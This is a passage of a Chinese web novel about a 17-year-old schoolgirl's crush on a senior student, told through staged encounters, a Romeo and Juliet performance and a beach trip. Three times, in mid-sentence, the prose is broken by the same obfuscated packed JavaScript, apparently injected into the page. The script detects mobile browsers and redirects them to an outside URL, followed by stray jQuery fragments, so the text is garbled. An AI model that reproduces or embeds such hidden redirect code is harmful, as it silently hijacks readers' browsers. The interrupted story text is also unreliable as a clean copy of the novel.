《我被关进精神病院后》 1. 攻略男神计划 十七岁的艾嘉做梦也没料到,一年后,她会被关进精神病院。 在这之前,她的人生乏善可陈,跟旁人没多大不同。 她最喜欢春天,那是樱花盛开的季节。 学校的百花园里种了几棵樱花树,放学后,她总会绕路,去看一看樱花。 有一次,傍晚时分,她看到了樱花树下靠着正在看书的少年,夕阳落在他肩头,风摇摇晃晃地吹,吹得花瓣扑簌簌落在他身上。 少年抬手拂掉花瓣,不经意抬头。 艾嘉看到了一张惊为天人的脸,脑中不禁浮现一句话: 行至春光乍现处,繁花尽头是少年。 他看向她时,嘴角轻轻勾着,眉眼微微扬着,温柔得不像话,她的心漏跳了一拍。 从此,她开始关注有关他的一切。 他叫霍盛源,比她大一级,高三1班,成绩很好,学霸级别。 他很低调,不参加任何活动,不接收任何女生的告白,他是清风霁月般的存在。 他有个死党——迟予辰,是艾嘉的竹马。 艾嘉近水楼台先得月,从迟予辰那儿得到了霍盛源所有的个人信息,比如他喜欢什么,他家住哪儿,几点出门,在学校里经常去哪儿,放学后经常去哪儿…… 迟予辰一眼识破艾嘉的小心思:“小嘉同学,你不会跟别的女生一样,也喜欢上了霍盛源?” 艾嘉一扬眉眼,大方坦白:“对,我就是喜欢他!” “你打算怎么做?”迟予辰提醒她,“别怪我没告诉你,他很难追。” 都没追,怎么知道难不难追呢。 * 在学校的林荫道上,艾嘉问她的好朋友千雪:“阿雪,我喜欢上了一个男生,你说,我要不要跟他告白?” “不会是隔壁学校人人都爱的闻赫吧?” “不是,虽然闻赫确实很酷,也很帅,但听说,他很花心,女朋友换了一茬又一茬,做她女朋友,估计都是日抛型的。我才不要喜欢他。” “那是谁?” “高三的学长。” “还有几个月就要高考了。”千雪若有所思,“不过,可以试试。” 艾嘉正有此意,开始了她的“攻略男神”计划。 第一步,从偶遇开始。 她每天比以往早起半小时,骑上自行车,绕好几条街,到安民路樱花街,在十字路口等霍盛源。 他总会在六点二十五分准时出现。 樱花街的两旁种了樱花,正值樱花盛开的季节,樱花树下的少年,穿着藏蓝色的校服外套、白色衬衫。 等红绿灯时,他不会下车,而是单脚撑地,目视前方。 风华正茂的少年,在渐起的晨曦里,撞进她心动赶路的十七岁。 …… 前三天,艾嘉都会主动跟他打招呼,第一次笑着跟他挥手,主动自我介绍:“学长,我是高二3班的艾嘉,方兴未艾的艾,南有嘉鱼的嘉。” 她没想到别人口中很难追的男神笑得温柔,说话也很温柔:“学妹好,我叫霍盛源,盛大的盛,源头的源。” 第二次,艾嘉又主动跟他说:“学长,好巧,又遇到了。听说你成绩很好,可以加下你的微/信吗?以后有什么不会的题,可以找你吗?” 霍盛源毫不犹豫地拿出手机,让她加了。 第三次,艾嘉骑到他身边,抬手拿掉他肩头的樱花:“学长,又见面啦!你真是人见人爱、花见花爱啊,连樱花都不放过你。” 到第四次,艾嘉睡过头,晚起了十分钟,以为这次不会遇到准时的霍盛源,没想到他竟然在樱花街的十字路口,像在等红绿灯,又像在等人。 艾嘉满心欢喜地快速骑车到霍盛源身旁。 这次,霍盛源主动开口:“学妹,你来晚了。” “都怪闹钟啦,没响。” 哪里是闹钟没响,明明是昨晚她为了今天能找霍盛源帮她讲题,特意多做了一份比较难的数学试卷,早上困得要命,按掉了闹钟,多睡了十分钟。 “学长,有几道数学题,我不会,下了晚自习,你可以教我吗?” “可以,你来我教室找我。” 于是,高三1班的教室,有两个人挑灯夜读,艾嘉发现,专心帮她讲题的霍盛源万分迷人。 他放在试卷上的修长手指微微曲起,骨节分明。 长长的睫毛覆在眼睛上方,在下眼睑处投映出阴影。 薄嘴唇,呈现好看的弧度,唇线清晰,蛊惑致命。 他在讲些什么,她一个字都没听进去,只听得见自己那悸动的心跳声。 “学妹,这题会了吗?”霍盛源问她。 “学长,这儿为什么要用这个公式,能再讲一遍吗?” 艾嘉每次都拖延时间,只想跟他待久一点。 * 以后的每天晚上,艾嘉都会去霍盛源的教室找他讲题,每次都会给他带一杯他爱喝的抹茶味奶茶。 他让她别破费,但她知道人与人之间要礼尚往来,也知道要对喜欢的人好一点,给对方留下好印象。 跟他的相处中,艾嘉发现,他并没有别人口中说得那么高不可攀,是不是因为她还没跟他表白,一旦跟他表白了,他是不是就要推开自己了? 艾嘉不愿想这么多,她想跟着自己的心走。 每晚她都会抱着手机翻看他的朋友圈,发现他的朋友圈还停留在樱花路的十字路口,没有新的动态。 她在他的那条朋友圈下评了条“明天见”,一直抱着手机等啊等,也没等到他的消息。 翌日醒来,第一件事便是看有没有回复,看到他回了“明天见”。 她开心得像过年收到糖果的小孩儿,抱着被子,在床上滚了好几圈。 * 攻略男神第二步,跟他建立一定的感情基础。 第二步算是成功达成。 艾嘉在“攻略男神”计划的笔记本上,这一条后面的小方框里用红笔打了一个√。 第三步,让他对自己产生好感。 光送奶茶怎么行,为了让他看到自己的闪光点,艾嘉主动报了五月份的文艺汇演。 几轮拼杀,艾嘉成功拿下《罗密欧与朱丽叶》里朱丽叶的角色。 为了能饰演朱丽叶,艾嘉每晚熬夜到一点半,照着镜子,观察自己的每个肢体动作,看看有没有问题,只要一处有问题,她都要重新来过。 除了熟背自己的台词外,她还把其他角色的台词都背了,以便更好地理解朱丽叶所有行为背后的动机,也能更好地跟对方搭戏。 唯一的遗憾,罗密欧不是霍盛源。 演出前一天,艾嘉在晚自习前,到百花园去练习《罗密欧与朱丽叶》,这次她没站在樱花树下,因为那儿人来人往的,太吵了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978286|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她走到一处假山后面,在这里,几乎阻隔了那些来往的声音。 她沉浸在朱丽叶对罗密欧热烈的山盟海誓里。 她念着台词:“我的慷慨像海一样浩渺,我的爱情也像海一样深沉;我给你的越多,我自己也越是富有,因为这两者都是没有穷尽的。”【注】 刚念完,听到传来温柔的男声:“幸福的,幸福的夜啊!我怕我只是在晚上做了一个梦,这样美满的事不会是真实的。”【注】 艾嘉一转头,看到了脸上露出笑意的霍盛源。 他逆光而立,夕阳落在他身后,他被笼在昏黄的光里。 唇红齿白、阳春白雪的少年,搅乱了她十七岁的春池。 她愣在原地,不知是夕阳的光太烈,还是眼前的少年太耀眼,她的心跳快得像跑了马拉松。 “你怎么在这里?”艾嘉惊喜地朝他跑过去。 她跑进光里,跑进十七岁的心动里。 “路过。”霍盛源也朝她走去。 “台词你怎么会背?”艾嘉好奇地问他。 “上高二时,我演过。” 学霸果然不一样,记忆力这么好。 他们在无人的假山后面,演一出属于他俩的《罗密欧与朱丽叶》。 她提前体会了罗密欧给朱丽叶的炽热爱恋,仿佛她真的是他很爱的那个人。 其实,这次对戏,她神思游离,所有的台词、肢体动作,靠的是肌肉记忆。 艾嘉所有的心思,都在霍盛源身上,目光从未从他那张温柔帅气的脸上移开过。 后来,千雪问她心动的感觉是什么? 她说:“心动,就像别人朝你开了一枪,不偏不倚地击中心脏。” 那个叫霍盛源的少年,朝她开了一枪,不偏不倚地击中她的心脏。 …… 这晚,艾嘉翻看霍盛源的朋友圈,意外地看到他更新了: 我在这夜色之中仰视着你,就像一个尘世的凡人,张大了出神的眼睛,瞻望着一个生着翅膀的天使,驾着白云缓缓地驰过了天空一样。【注】 配图是黄昏时分的假山。 她看得内心一阵雀跃,似有无数粉红小泡泡从心头冒了出来。 用千雪晚自习跟她说的一句话,她现在的嘴角都可以跟太阳肩并肩了。 艾嘉俯身趴在床上,反复看着他发的这条朋友圈。 他发这个是什么意思?想告诉她什么吗?还是,有感而发? 要不,试探一下。 艾嘉绞尽脑汁敲下几行字: 我来到莎士比亚的王国 喜欢做尽情绽放的花朵 欢迎你来到浪漫的国度 你要不要摘下青涩秘果 艾嘉犹豫良久,终于发在评论区。 等等,万一被他发现这是藏头诗,万一是她自作多情了,他会不会跟对待其他女生一样对待她? 艾嘉撤回,重新打下一行字: 【我愿意把我整个的心灵,赔偿你这一个身外的空名。】【注】 另一种试探。 是朱丽叶的台词,也是她的暗恋心事。 霍盛源能从这句台词里,窥探到她的小心思吗? 如果窥探到了,他会怎么想? 她没想到,很快收到了霍盛源发来的消息:【学妹,你刚在评论区发什么了?怎么删了?】 2. 一起演话剧 艾嘉现在还不希望霍盛源知道自己暗恋他,回他:【打错字了。】 霍盛源:【早点休息,明天晚上你不还有演出吗。】 艾嘉给他发了一个晚安的表情包,可爱小猫躲在被子里,上面有“晚安”。 其实这个表情上原本还有一句话:换个世界想你。 * 翌日的文艺汇演,上场前一个小时,艾嘉得知饰演罗密欧的人突然生病来不了,临时要换人。 会换谁呢?谁都没提前排练过,一上来就要演男主角? “艾嘉,这是新请来的罗密欧,做你的搭档。”文艺部部长带来了一个高个的帅气少年。 艾嘉看到这位少年时,眼睛顿时睁大了。 这位少年不是别人,而是昨天傍晚跟她在假山后面排练过的霍盛源。 “学长好。”艾嘉喜出望外。 “学妹,多多指教。”霍盛源笑得格外温柔。 临上场前,两人在后台对词排练,哪里需要学妹的指教,霍盛源不仅熟背罗密欧的台词,神情动作也俨然是罗密欧。 该他们上场了,艾嘉第一次登台,有些紧张,心跳得厉害,手心里也直冒汗。 被霍盛源发现了,他温柔地安慰她:“学妹,别紧张,有我呢。我陪着你。” 他的声音太过温柔,像极了春日时节落下的樱花,又软又香,溢出芬芳。 舞台下是黑压压的人群,舞台上的射灯照着艾嘉,她穿着粉色公主裙,纯洁动人。 在爬满藤蔓的窗前,艾嘉跟饰演罗密欧的霍盛源互诉衷肠。 艾嘉伸出手,霍盛源将手放到她手心:“要是我这俗手上的尘污,亵渎了你的神圣的庙宇,这两片嘴唇,含羞的信徒,愿意用一吻乞求你宥恕。”【注】 第一次碰到他的手,干燥炙热。 艾嘉的心狂跳不止,脸也发烫。 她把自己完全当成了朱丽叶,含情脉脉地望着霍盛源:“信徒,莫把你的手儿侮辱,这样才是最虔诚的礼敬;神明的手本许信徒接触,掌心的密合远胜如亲吻。”【注】 霍盛源:“生下了嘴唇有什么用处?”【注】 艾嘉:“信徒的嘴唇要祷告神明。”【注】 霍盛源:“那么我要祷求你的允许,让手的工作交给了嘴唇。”【注】 艾嘉:“你的祷告已蒙神明允准。”【注】 “神明,请容我把殊恩受领。”霍盛源倾身吻艾嘉,“这一吻涤清了我的罪孽。”【注】 “你的罪却沾上我的唇间。”【注】 艾嘉气息沉稳地说着台词,但她的心脏传来剧烈声响。 她知道,这是声势浩大的心跳声。 每一下都在提醒她,眼前少年,是地上霜,也是窗前月。 方才霍盛源的吻,舞台下的人看着逼真,其实也是真的,只是这一吻,没有吻在她的唇上,而是吻过她的脸颊,停留了几秒。 那几秒,对艾嘉来说,仿佛历经无尽的漫长岁月。 排练时是错位,为什么这次他会吻她的脸颊,是无意间擦过,还是有意? 不管无意还是有意,艾嘉觉得在他吻自己时,那般深情,那般投入。 好像他不只是罗密欧,还是她暗恋着的少年。 好像她不只是朱丽叶,还是被他喜欢的少女。 他们到底在戏中相爱,还是在戏外相爱,让艾嘉有了片刻的错觉。 这样的错觉,一直持续着,在她的心头来回震荡。 其他同学的演出,艾嘉看得心不在焉,她的余光一直盯着坐在右前排的霍盛源。 有那么几次,霍盛源转过头,对上了她的视线,眸中含笑,那是属于少年特有的清澈眼眸,如幻似梦。 他的每次回眸、每次微笑,都像火焰滚过她的心间。 * 放学时,她跟以往一样,制造偶遇,从车棚出来,等着霍盛源。 霍盛源姗姗来迟,车棚里的喧嚣声散了。 艾嘉走到他身边,笑道:“学长,今天多亏了你,这场话剧才能如期演出。” 不仅如期演出了,还收到了各师生的热烈掌声和叫好声。 “应该的。”霍盛源跨上自行车,“走吧,朱丽叶。” “好的,罗密欧。”艾嘉也跨上自行车,紧紧地跟上霍盛源。 艾嘉连续72天绕原路,偶遇霍盛源,不管是早上,还是晚上。 她像夏日枝头不知疲倦叫的那只蝉,霍盛源像那根树枝,她盘在树枝上,企图用自己的叫声,唤醒树枝的全部注意。 那晚,天空悬着一轮皎洁的满月,撒了满地的银光,透过树枝,在地上映下斑驳的光影。 五月的夜晚,温度刚刚好,空气里弥漫着槐花香,风一吹,槐花落在少年的肩头。 这让艾嘉想起初次见霍盛源的画面,那时的他,肩头落了樱花。 她看霍盛源看得出了神,嘴角不自觉一直扬着,到了樱花路的十字路口,该等红灯了,她也没注意,还在往前骑车。 这时,从拐角处拐来一辆大货车,艾嘉吓得想捏刹车,但完全被吓到了,怔怔地坐在自行车上,任由自行车自由前行。 怎么办,快捏刹车,快捏刹车啊! 艾嘉心里有个着急的声音一直在提醒着她,但她的手脚却不受控制地发僵。 大货车越来越近,几乎要擦过她眼前时,她吓得惊叫出声。 耳边擦过呼啸而过的风,和大货车开过时的声音。 她的胳膊被人拽住,自行车停了下来。 艾嘉惶恐地睁眼,一转头,看到胳膊上的那只手,干净的、纤长的,骨节分明,这只手她看过无数次,是属于霍盛源的。 “谢谢学长。”艾嘉的声音里带着颤音。 她久久高悬的那颗心,在胸腔里激烈跳动着。 “下次要注意啊,刚才太危险了。”霍盛源的声音还是一如既往的温柔。 “嗯。”艾嘉觉得刚才真是太大意了,竟然看美色看得忘乎所以了,着实不应该。 他们每次都会在这个路口告别,艾嘉会往左,霍盛源会往右,自此分开。 每次,艾嘉跟他告别后,并不会立刻离开,而是先骑上几米,再停下来,转头去看霍盛源,看着他骑自行车帅气的身影,直到他完全消失不见。 暗恋,是你看着他的背影,越来越远,越来越远,而你还舍不得离开。 你暗恋的那个人,仿佛蒲公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978287|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英,越飞越远,越飞越高,你想碰,却碰不到。 霍盛源像蒲公英,散开在艾嘉的世界,散开在她春心萌动的青春里。 艾嘉回到家,艾爸艾妈都觉得今天的女儿跟平时不一样,艾妈问她:“小嘉,今天的演出很成功吗,看你笑得这么开心?” 艾嘉一把搂住艾妈的脖子,眉开眼笑道:“妈妈,演出很成功,同学老师都夸好呢。” “我女儿真棒。”艾爸笑道,“有视频吗,发给爸爸,爸爸要发到各个群里,让别人看看,我的女儿有多优秀。” 艾嘉让千雪拍了视频,她把视频转发给了爸爸。 爸爸第一时间发到各个群里,收到一众夸赞,夸得艾爸笑开了花儿。 艾嘉照常给霍盛源发了晚安的表情包。 是谁说,每一次晚安,都是变向的告白。 如果是的话,她已经跟霍盛源表白了71次。 从加上他的那天起,一次都没落过。 霍盛源也一次都没落过地跟她说了71次的“晚安”。 艾嘉睡不着,一闭眼,满脑子都是扮演罗密欧的霍盛源,他将手贴向她掌心时的画面,他的唇吻过她脸颊的场景。 她暗恋的少年,是雨后小嫩苗,每天野蛮生长,开出浪漫的玫瑰花,永驻她心间。 艾嘉干脆起来,从锁着的抽屉里,拿出她那个写着“攻略男神计划”的笔记本。 在上面写下:霍盛源,你什么时候也像罗密欧一样,来到我的窗前,让我看一眼你,哪怕不说话,静静地站着也好。 她一写完,发现自己起了贪恋。 原本只是她一个人的独角戏,现在,却期待着对方的回应。 艾嘉摇了摇头,合上笔记本,把这一条划掉,用红笔在旁边做了个批注:小嘉同学,攻略男神之路还很漫长,不急不急。 她睡了一觉,醒来时,外面天还黑着,她望着阳台上的那盆海棠花,想起了一句话。 艾嘉拿出手机,透过窗户,拍下夜晚绽放的海棠花。 发了一条朋友圈,配的是刚刚拍的海棠花的图,配字: 【凌晨四点钟,我看见海棠花未眠。】 这句话是她之前在川端康成《花未眠》里看到过的,觉得很好,便特意记下来了。 还有半句,她没发。 下半句是: 【总觉得这时,你应该在我身边。】 这条朋友圈,仅霍盛源可见。 * 翌日,艾嘉睡过头了,闹钟响了被她按掉,爸妈都去上班了,没人喊她,她急匆匆地起床洗漱。 桌上有艾妈做好的早餐,有艾嘉爱吃的红豆麻团、豆浆,但来不及了,她只好用塑料袋装了几个红豆麻团,在嘴巴里塞了一个麻团,匆匆关上门。 艾嘉刚走到一楼,还没走完台阶,愣住了,嘴巴也停止了咀嚼。 她看到站在楼外的少年,穿着白衬衫,藏蓝色校服裤子,站在朝阳里。 他朝她微笑,眼眸像星星一样透亮,好似盛了满世界的星河。 他明明只是静静地站着,艾嘉却觉得,她喜欢的少年,溜进了她十七岁的日暮晨昏。 清晨七点半,她的海棠花开了。 3. 偷偷笔芯 有个少年,烙在她的十七岁 这是霍盛源第一次来找艾嘉,艾嘉又惊又喜,急忙迈下台阶,跑到他身前。 “学长,早上好啊。”艾嘉笑着跟霍盛源打招呼,但打完招呼就后悔了,因为她嘴巴里还有没吃完的麻团,鼓鼓囊囊地塞了一嘴,像一只囤粮的小仓鼠。 霍盛源笑了:“你在吃什么?” “麻团。”艾嘉用力咀嚼着,却被噎到了,咳嗽起来。 “慢点吃。”霍盛源贴心地拍着她的背。 艾嘉终于缓过来一些,抬头看霍盛源:“谢谢学长。” “别客气。” “学长怎么会来找我?” “我等迟予辰,他没接我电话。” 艾嘉那颗雀跃的心顿时沉下去,原来不是来等自己的啊。 “他今天请假了,不去学校。” “我知道,他生病了。”霍盛源翻开书包,拿出一本笔记本,“麻烦你把这个给他,他说在家待着,怕落下课程,让我给他送过来。” “好的。”艾嘉快步上楼,敲响了迟予辰家的门,没人应答。 艾嘉又用力敲了几下,才听到有人趿拉着拖鞋,门没开,便听到了他沉哑的声音:“谁啊?再敲,再敲就把你拉出去喂猪。” 门刚开了一条缝,艾嘉看到顶着鸡窝头的迟予辰,抬手往他脑门上一敲:“好你个迟予辰,说,你要拉谁出去喂猪?” 迟予辰揉了揉脑袋,见凶巴巴的艾嘉,想到他还是个病人,战斗值不如往日,想想算了,好男不跟女斗:“你听错了吧,我拉谁去喂猪,也不可能拉你啊,猪都嫌弃你。”附送一对白眼。 没辙,本能反应了。 艾嘉这时没闲心跟他斗嘴,早读课都已经开始了,她妥妥地迟到了,连忙把霍盛源的笔记本塞到迟予辰怀里:“在家好好养病、好好看书,祝你高考榜上提名!” “好的,小嘉同学。”迟予辰往门框上一靠,懒懒地问,“我说,小嘉同学,你这么急着要走,是赶去见楼下的霍帅哥吧。” “你知道人家在楼下等你,你还不下去!”艾嘉刚想朝他脑门上敲去,被他及时避开。 “刚看到。”迟予辰说,“你快走吧,祝小嘉同学追上霍帅哥,旗开得胜!” 这次,艾嘉迟到了,被纪律委员扣了1分。 霍盛源知道了她每次都绕远路去樱花街的事。 晚上放学,霍盛源跟她说:“学妹,以后别绕远路了,把时间留着多睡会儿或者多看会儿书。” 艾嘉骑着自行车,在他身侧,笑得眉眼弯弯:“没事的,学长,我早上要去樱花街附近去买早餐。” 她每天的早餐都在家里解决,怎么可能去买早餐,她只是不想以后早上遇不到霍盛源。 每天早晚与霍盛源见面,已经成了艾嘉生活里的一部分,就跟吃饭、喝水、睡觉一样。 有个少年,已经烙在她心尖上,烙在她的十七岁。 他在她的青春里刮起一阵又一阵的季风,永不停歇。 * 五月,高三学子进入紧急冲刺阶段,进行了三模摸底考。 霍盛源在这次考试中取得佳绩,仍是年级第一,考上国内最高学府不成问题。 六月初,高三组织拍毕业照,艾嘉去凑热闹,当起了摄影师。 艾嘉端起从艾爸那儿借来的单反相机,咔嚓咔嚓地拍了好多照片。 照片里好多人,但最多最清楚的那个人是霍盛源。 迟予辰看了她拍的照片,痛心控诉:“小嘉同学,我这么帅,你都把我拍得糊成什么了。” “帅是帅,但帅得不明显。”艾嘉是存有私心的,谁都可以模糊,但霍盛源绝对不可以! 迟予辰凑到她耳边小声说:“小嘉同学,你真是见色忘友啊,你眼里现在就只有霍盛源吧。” “有没有关你什么事。” “我是你竹马啊。”迟予辰朝她挑眉,“要不要给你来个神助攻?” “你别给我捅娄子就不错了。” “那你自寻前程吧,保重!”迟予辰望着单反相机里的霍盛源,啧啧称叹,“你拍的霍帅哥还挺帅!” “本来就帅。” “比真人还帅。” 那还用说,这可是艾嘉提前两周在网上学习了拍照技巧,她镜头里的霍盛源拥有大长腿和绝世美颜。 夕阳西下,晚霞下的霍盛源,披了满身绚烂霞光,在她的镜头下,温柔得像天赐神明。 艾嘉当晚导出照片,特意挑出好看的照片发给霍盛源。 霍盛源很快回她:【谢谢,拍得很好!】 你颜值高,怎么拍都帅。 但这样的话,艾嘉没说。 艾嘉回他:【学长,祝你高考顺利,前程似锦!】 其实,不用她祝福,艾嘉也知道,霍盛源的前程必然繁花锦簇。 …… 隔天,艾嘉趁着晚自习前,去校外找了家照片冲洗店,把挑出来的十张照片洗了出来。 九张霍盛源单人的,一张她跟霍盛源的合照。 合影里的她挨着霍盛源,是她离霍盛源最近的一张。 她笑容满面,他微微勾唇,彼此都是少年模样,恣意又飞扬。 她的脑袋歪向霍盛源,朝镜头做出笔芯的动作。 他们在画面里定格,像极甜蜜的情侣。 别人会以为她的笔芯只是动作所需,但只有她知道,她的笔芯靠近霍盛源,是她送给霍盛源的。 她把霍盛源的单人照贴在了“攻略男神计划”的笔记本上,一个计划下面贴了一张,先贴了三张,剩下六张。 她写下第四个攻略:跟男神一起去毕业旅行。 艾嘉希望,在照片没有用完前,她就能跟霍盛源在一起。 那张合影,她裱在相框里,放在书桌上,挨着一家人的合影,仿佛霍盛源也是她的家人。 合影被艾妈艾爸看到了,艾妈说:“小嘉,这是你喜欢的男生吗?” 艾嘉跟妈妈无话不说,把喜欢霍盛源的秘密告诉了妈妈。 艾妈说:“小嘉,你可以去做你想做的事,但不要影响学习。还有,别告诉你爸,你爸不会同意的。” 于是,艾嘉跟艾爸是这么说的:“他是我的朋友,辅导我功课的,我成绩提升到班级前十,他有一半的功劳。” 艾爸信了,还让艾嘉多跟这个男生一起,有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978288|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不会的要及时问他。 艾嘉觉得自己格外幸运,能遇到这么好的爸爸妈妈。 * 六月下旬,高考分数出来了,霍盛源考上了他报的第一志愿Q大,迟予辰也如愿考上了B大,都是超一流大学。 这都在艾嘉意料之中,他们本就很优秀,他们值得去上好大学。 艾嘉给两人都发去了贺电,并且也都准备了礼物。 她给霍盛源亲手做了樱花果冻,特意装在精美的包装盒里,骑着自行车去他家。 那是艾嘉第一次去他家,他家是独栋别墅,保姆开的门。 她暗恋的少年站在二楼的阳台上看她,朝她挥手:“学妹!” 艾嘉把拎在手中的樱花果冻放在身后,这样的小玩意儿哪里能入得了人家霍大少爷的眼。 她走进别墅,豪华的建筑前,种满了各种各样的花,有玫瑰花、海棠花、栀子花。 明明是同样的花,为什么她觉得这些花开在宽敞别致的院子里,比开在她家阳台上要好看。 那天,艾嘉坐在霍盛源家富丽堂皇的客厅里,感到有些不自在,好在他夸她做的樱花果冻好吃,说是他吃过最好吃的果冻,又跟她聊一些近期遇到的趣事,让她渐渐放松。 至于她那个竹马邻居,艾嘉亲自登门拜访,抱了一个大西瓜,大得把她的脸都遮住。 迟予辰开门的时候启动轰人模式:“这哪儿来的卖瓜小妹,迟哥不买瓜,走走走!” 艾嘉俏皮地从西瓜后面探出半个脑袋,笑得眉眼弯成了月牙,她本来就是娃娃脸,配上甜美的笑容,简直是移动的小甜饼。 她的声音也很甜:“迟哥,卖瓜小妹不卖瓜,免费上门送瓜,要不要?” 迟予辰架不住这个甜甜的卖瓜小妹,弯腰做出邀请状:“欢迎光临迟哥的寒舍,请进!” 那天,迟予辰家里就他一人,两人坐在茶几旁的地上,一人抱着半个西瓜,用勺子挖着吃了一块又一块,两人吃得嘴上满是红润的西瓜汁。 * 七月初,迟予辰透露给艾嘉一则最新情报:“号外号外!小嘉同学,惊天密报来了!霍帅哥要去毕业旅行了!” 艾嘉本来正坐在书桌前思考一道数学题该怎么解,听到这消息,连忙从椅子上像弹簧似的弹起来:“去哪儿?” 她没了做题的心思,疾步走到窗前,站到迟予辰的身旁。 “小嘉同学,迟哥告诉你的话,有什么好处?”迟予辰伸出手。 “这算不算。”艾嘉在他手心赏赐了一巴掌。 迟予辰急忙收回手,睨她:“欸,像你这种动手界的王者,霍帅哥怎么会看上你!” “你跟他一样吗。”艾嘉瞪他,“咱俩都什么关系了。快告诉我,学长去哪儿旅行。” “蓝海湾。” 艾嘉搜了下,在夕照市,很美的海滩。 她一直有个愿望,此生一定要去海边看一看。 这次要不趁着暑假,跟霍盛源一起去蓝海湾。 “你去吗?”艾嘉问迟予辰。 “去。”迟予辰从盘子里拿了颗葡萄,丢进嘴里,“除了我跟霍帅哥,还有几个人。” 4. 要加快攻略计划吗 艾爸艾妈原本不希望艾嘉出远门,听艾嘉说要跟迟予辰一起去,便同意了。 去的当天,一行人在机场集合,艾嘉见到了十天未见的霍盛源,连忙上前跟他打招呼。 随后,一众人中,其他几个女生纷纷围过来跟霍盛源聊天,他们聊的话题,艾嘉根本插不上话。 艾嘉看着被女生围住的霍盛源,心里酸酸的,像被谁拿走了自己心爱的东西。 “哎哟,某人的醋坛子被打翻了!”迟予辰在一旁看热闹,压低声音跟艾嘉说。 艾嘉推了下他的胳膊,没好气地抬手要往他脸上挥:“醋坛子要征用你的脸,来建一座五指山。” 迟予辰急忙闪到霍盛源身后,差点把“管管你家那位”说出口,憋回去后跟霍盛源说:“霍帅哥,江湖救急,有人要谋财害命!” “谁谋财害命了,迟予辰,你血口喷人。”艾嘉变回那只乖软无害的小白兔,声音也软得不像话,哪里像要谋财害命的样子。 “好了,你们别闹了。”霍盛源像个大家长似的,一句话化解了两人间小孩子似的玩闹。 上了飞机,艾嘉跟迟予辰坐一起,她坐在窗边。 这是她第一次坐飞机,飞机滑行,升起,飞行到几千米的高空。 她望着窗外浮在湛蓝天幕上的朵朵白云,近得触手可及。 她看似看得很认真,其实,余光从未从霍盛源的身上移开过。 但坐在她右前方的霍盛源,一次都没有回头看她一眼,一直在跟身边的女生谈笑风生,仿佛他跟那个女生是天造地设的一对。 这让她感到一阵失落。 能跟他一起去看海,可为什么,她开心不起来。 艾嘉不想再这样折磨自己,余光不再落在霍盛源身上,将视线全部投在窗外,看着棉花糖似的云海。 没一会儿,她听到那个温柔的声音响起,虽然很轻,但几乎贯穿她的耳膜。 艾嘉瞬间回头,看到修长的手臂伸到她面前,手上端了一杯橙汁:“学妹,给你要了橙汁。” 她喜欢的所有饮品中,最喜欢的,便是橙汁。 她接过橙汁的那刻,先前的失落尽数瓦解。 她喝橙汁时,眼睛看着霍盛源,翻座位后背上放的刊物时,余光也瞟向霍盛源,就连困了,都舍不得合眼。 艾嘉珍惜跟霍盛源待在一起的每分每秒。 她的世界,好像只剩下霍盛源了。 * 到酒店时,已晚上十点二十,一行人到房间便各自整理行李或直接休息。 他们住的酒店临海,眺望窗外就能看到一望无际的蓝色大海。 艾嘉跟一个叫温姗的女生一间,温姗边整理东西边跟她聊天:“学妹,你以后打算考哪儿的大学?” “Q大。”艾嘉拿出第二天要穿的裙子挂了起来。 “Q大很难考啊,加油!” “谢谢学姐。”谁不知道Q大难考,但艾嘉不怕难,她要去的这所大学,有她喜欢的少年。 无论如何,都要考上Q大。 为此,挑灯夜读是她高二学习的常态,每晚只睡四五个小时。 这次的期末考试,艾嘉成功跻身到班级第五名。 就她目前的成绩,想考上Q大有难度,但属于再努努力,能够得到的程度。 她拼了命,要把自己放进有他的未来。 “学姐,你是不是喜欢霍学长?”下午跟霍盛源坐一起的女生正是温姗,艾嘉发现一直都是温姗在找话题,她看霍盛源的眼神并不清白。 温姗收拾衣服的手一顿,脸上露出一丝羞涩的笑意,看向艾嘉:“落花有意,也要流水有情啊。” “学姐,你觉得流水无情吗?” “也不是,看落花有意到什么地步吧。”温姗笑笑,眼里透出自信的光芒,“上大学了,有的是时间。” 艾嘉从别人口中听说,大学没有高中那么忙碌,不需要整天泡在上课、刷题、写错题集上,会有不少自由时间。 如果大学有那么多自由时间,是不是温姗会抓住那些时间,去留住她的流水? 艾嘉第一次真切地感受到压力,她暗恋的少年那么优秀,人人都想靠近,要是被别人捷足先登了,她该怎么办? 她是不是要把“攻略男神计划”的进度条再往前拉拉? …… 在夜深人静时,艾嘉拿出那本“攻略男神计划”的笔记本,写下第五条攻略:来一场浪漫的海边告白。 手边没有胶棒,艾嘉从夹在本子里的剩余六张霍盛源的单人照片里挑出一张,放在这一页,想着等回去再粘上。 